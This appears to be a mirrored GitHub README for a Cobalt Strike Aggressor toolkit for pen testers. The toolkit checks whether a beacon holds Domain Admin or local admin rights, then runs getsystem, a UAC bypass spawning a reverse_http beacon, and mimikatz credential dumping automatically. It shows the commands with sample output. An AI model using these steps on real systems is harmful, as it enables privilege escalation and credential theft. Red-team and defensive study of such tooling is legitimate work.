Git Product home page Git Product logo

cobaltstrike-toolkit's Introduction

CobaltStrike-ToolKit

I’m sure there are better ways of doing all of this but as of right now there hasn’t been much put out so this will do :)

Work Conducted by:

  • Alexander Rymdeko-Harvey [Twitter] @Killswitch-GUI -- [Web] CyberSydicates.com
  • Brian R [Twitter] @brian_psu

CheckDA - Command

Currently uses a PowerShell based check, combined with an aggressor script to check for the initial agent user name. While using .NET 3.5 to perform Domain Group enumeration (PowerShell 2+ safe). This allows for alerting on Pen-Test of a DA level beacons.

  • Places a note on the beacon
  • Logs to the Event Log for team to see PID
  • uses a Pop up to alert opperator

Usage

Load up the Script:

aggressor> load /root/Tools/CobaltStrike-ToolKit/Initial-DACheck.cna
[+] Load /root/Tools/CobaltStrike-ToolKit/Initial-DACheck.cna

When a initial beacon comes in you receive a pop up box and will see:

[*] Tasked beacon to import: /root/Tools/CobaltStrike-ToolKit/Invoke-DACheck.ps1
[*] Tasked beacon to run: Invoke-DACheck -Initial True
[+] host called home, sent: 2527 bytes
[+] received output:
Found-DA-User: admin

Independent Command:

beacon> checkda
[*] Tasked beacon to import: /root/Tools/CobaltStrike-ToolKit/Invoke-DACheck.ps1
[*] Tasked beacon to run: Invoke-DACheck
[+] host called home, sent: 2519 bytes
[+] received output:
[!] Currently DA Context

CheckLA - Command

Currently uses a PowerShell based check, combined with an aggressor script to check for the initial agent context. While using .NET 3.5 to perform Local Group enumeration and Token Context (PowerShell 2+ safe). This has the following context:

  1. Checks for Initial Beacons Context (Elevated or Local Admin)
  2. If the beacon is elevated it will Auto Getsystem, and run LogonPasswords
  3. If the beacon in Local Admin but not in a high integrity process it will run Bypass UAC on that beacon
  4. This will than launch a beacon in a high integrity beacon causing the first event to fire running LogonPasswords

Usage

Run this with all the other scripts

aggressor> load Initial-LAdminCheck.cna
[+] Reload /root/Tools/CobaltStrike-ToolKit/Initial-LAdminCheck.cna

when a Initial Beacon comes in:

aggressor> reload Initial-LAdminCheck.cna
[+] Reload /root/Tools/CobaltStrike-ToolKit/Initial-LAdminCheck.cna

If it returns as a Local Admin it will perform Bypass UAC:

[*] Tasked beacon to spawn windows/beacon_http/reverse_http (192.168.1.198:80) in a high integrity process
[+] host called home, sent: 76304 bytes

The new beacon will run logonPassword as desired :)

[*] Tasked beacon to get SYSTEM
[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 444597 bytes
[+] Impersonated NT AUTHORITY\SYSTEM
[+] received output:

Independent Command

beacon> checkla
[*] Tasked beacon to import: /root/Tools/CobaltStrike-ToolKit/CheckLAdminContext.ps1
[*] Tasked beacon to run: Invoke-LocalAdminCheck
[+] host called home, sent: 2622 bytes
[+] received output:
[!] Currently-in-LocalAdmin-Context

DA-Watch - Set of Commands

Developed by @britz to perform the same DA monitoring but using all Aggressor script to perform DA Group checks (OPSEC). This has a few commands and requires you to update the list of DA members. this can be done with a few commands and is very effective way of checking for DA without loading PowerShell. On Pen-test's its not a big problem but on a red team OP this may be a No-Go.

Usage

load up the script

aggressor> load DA-Watch.cna
[+] Reload /root/Tools/CobaltStrike-ToolKit/DA-Watch.cna

Run this command and it will populate the known DA list

shell net group /domain "Domain Admins"

uaddDA - Command

Adds a user to the DA list

uremDA - Command

Removes a user from the DA list

ulistDA - Command

Prints a list of the current DA's to the Console

uhookOn

Sets the hook to follow beacon output to "On". This will watch all output for Shell net group...

uhookOff

Turns off the watch hook and set the follow beacon output to off.

Credential Checks

Every time a Cred is added to the Cred data model a credential is checked against the known list of creds. If it matches it posts to the event log!

cobaltstrike-toolkit's People

Contributors

killswitch-gui avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.